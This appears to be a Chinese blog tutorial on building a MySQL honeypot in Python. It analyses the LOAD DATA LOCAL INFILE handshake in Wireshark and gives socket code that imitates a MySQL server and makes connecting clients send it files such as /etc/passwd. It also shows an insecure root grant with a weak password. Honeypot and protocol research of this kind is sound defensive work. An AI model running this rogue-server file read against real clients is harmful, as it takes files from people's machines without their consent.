• Python实现MYSQL蜜罐


    1 LOAD DATA INFILE介绍   

    首先开启一个Mysql,看一下mysql是如何读取主机文件的。

    1.1 linux搭建mysql  

    1)docker运行mysql                                                                           

    图片

    2)启动Mysql

    docker run -itd --name mysql -p 3306:3306 -e MYSQL_ROOT_PASSWORD=123456 mysql

    图片

    3)进入容器,连接docker

    图片

    4)开启远程访问

    mysql> GRANT ALL PRIVILEGES ON *.* TO 'root'@'%' IDENTIFIED BY '123456' WITH GRANT OPTION;
    Query OK, 0 rows affected, 1 warning (0.00 sec)
    mysql> FLUSH PRIVILEGES;
    Query OK, 0 rows affected (0.00 sec)

    图片

    修改配置文件,监听所有地址

    /etc/mysql/mysql.conf.d/mysqld.cnf

    图片

    1.2 其他windows连接mysql  

    图片

    1.3 开启local_infile  

    set global local_infile=1;

    图片

    1.4 测试文件读取   

    load data local infile 'C:/1.txt' into table test fields terminated by '\n'

    成功读取到文件

    图片

    2 wireshark分析交互过程  

    通过wireshark,可以看到Client登入数据库与执行SQL命令时,Client与Server交互的命令。

    1)服务端 greeting

    图片

    2)客户端 login request

    图片

    3)服务端 resposne

    图片

    4)读取文件的对应关系——客户端发起请求

    图片

    5)读取文件的对应关系——服务端同意请求

    图片

    综上可知:在Client向Server发起查询后,Server会返回一个Response TABULAR的响应包。而如果在这个数据包中指定文件路径,就可以读取Client相应的文件。

    实际上Server可以在回复任何Client端的请求时返回Response TABULAR响应包,而不仅仅是在Client发起Load data local infile后。      

    服务端同意请求文件的Response TABULAR数据包部分内容如下:​​​​​​​

    09 #文件名长度+100 00 01 #数据包序号fb #数据包类型43 3231 274 78 74 #文件名

    3 python实现mysql蜜罐  

    大致编码实现如下:

    • 创建socket服务端监听(IP,PORT),一般是3306端口

    • 服务端接收到连接请求后进行数据交互

    1)模拟服务器发送greeting信息​​​​​​​

    1. server_version = b"\x0a\x35\x2e\x37\x2e\x32\x35"
    2. conn.sendall(b"\x4a\x00\x00\x00" + server_version + b"\x00\x0c\x00\x00\x00\x6d\x7b\x54\x0f\x53\x0d\x3a\x3f\x00\xff\xff\xe0\x02\x00\xff\xc1\x15\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0c\x40\x52\x44\x1e\x2c\x26\x34\x0f\x2c\x68\x6e\x00\x6d\x79\x73\x71\x6c\x5f\x6e\x61\x74\x69\x76\x65\x5f\x70\x61\x73\x73\x77\x6f\x72\x64\x00")
    3. conn.recv(9999)

    2)模拟服务器发送成功连接信息​​​​​​​

    1. conn.sendall(b"\x07\x00\x00\x02\x00\x00\x00\x02\x00\x00\x00")
    2. conn.recv(999)

    3)模拟服务器发送服务文件信息​​​​​​​

    1. filename = "/etc/passwd"
    2. wantfile = str.encode(chr(len(filename)+1)) + b"\x00\x00\x01\xfb" + str.encode(filename)
    3. conn.sendall(wantfile)
    4. content = conn.recv(9999)
    5. if len(content) > 10:           
    6.     with open(logpath + "/" + filename.replace("/""_").replace(":""")+".txt" ,"w"as txt:
    7.     txt.write(content.decode('utf-8','ignore'))
    8.     print(f"文件内容读取完成")

    整体效果如下:

    1)使用介绍

    图片

    2)客户端启动

    图片

    3)服务端监听

    图片

    4)读取文件时的效果

    图片

  • 相关阅读:
    微服务架构改造案例
    2、.Net 前端框架:ASP.Net Core - .Net宣传系列文章
    51单片机电子钟六位数码管显示整点提醒仿真设计( proteus仿真+程序+原理图+报告+讲解视频)
    python爬虫入门详细教程-采集云南招聘网数据保存为csv文件
    串口数据包收发
    线性调频脉冲雷达信号
    汽车驾驶 - 四梁六柱是什么
    为什么我学了几天 STM32 感觉一脸茫然?
    142. 环形链表 II
    Java基础知识
  • 原文地址:https://blog.csdn.net/xlsj228/article/details/133118524